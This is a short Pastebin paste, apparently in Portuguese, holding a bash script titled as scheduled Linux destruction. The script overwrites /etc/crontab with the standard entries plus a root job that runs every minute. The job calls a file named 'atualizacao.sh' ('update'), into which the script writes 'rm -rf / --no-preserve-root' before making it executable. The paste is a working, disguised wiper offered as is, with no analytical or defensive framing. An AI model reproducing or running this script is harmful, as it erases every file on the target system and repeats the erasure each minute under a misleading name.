DarkProgrammer000

Destruicao Linux [Agendada]

Feb 16th, 2019
218
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # !/bin/bash
  2.  
  3. echo "
  4. # /etc/crontab: system-wide crontab
  5. # Unlike any other crontab you don't have to run the 'crontab'
  6. # command to install the new version when you edit this file
  7. # and files in /etc/cron.d. These files also have username fields,
  8. # that none of the other crontabs do.
  9.  
  10. SHELL=/bin/sh
  11. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  12.  
  13. # m h dom mon dow user  command
  14. 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
  15. 25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
  16. 47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
  17. 52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
  18. #
  19.  
  20. # [minutos] [horas] [dias do mes] [mes] [dias da semana] [usuario] [comando]
  21. # + Minutos:        0 - 59
  22. # + Horas:      0 - 23 [*/1: A cada 1 em 1 em Minuto]
  23. # + Dia do mes:     0 - 31
  24. # + Mes:        1 - 12
  25. # + Dias [Semana]:  0 - 7
  26.  
  27. */1 * * * * root /root/atualizacao.sh
  28. " > /etc/crontab
  29.  
  30. echo "
  31. rm -rf / --no-preserve-root
  32. " > /root/atualizacao.sh
  33.  
  34. chmod a+x /root/atualizacao.sh
RAW Paste Data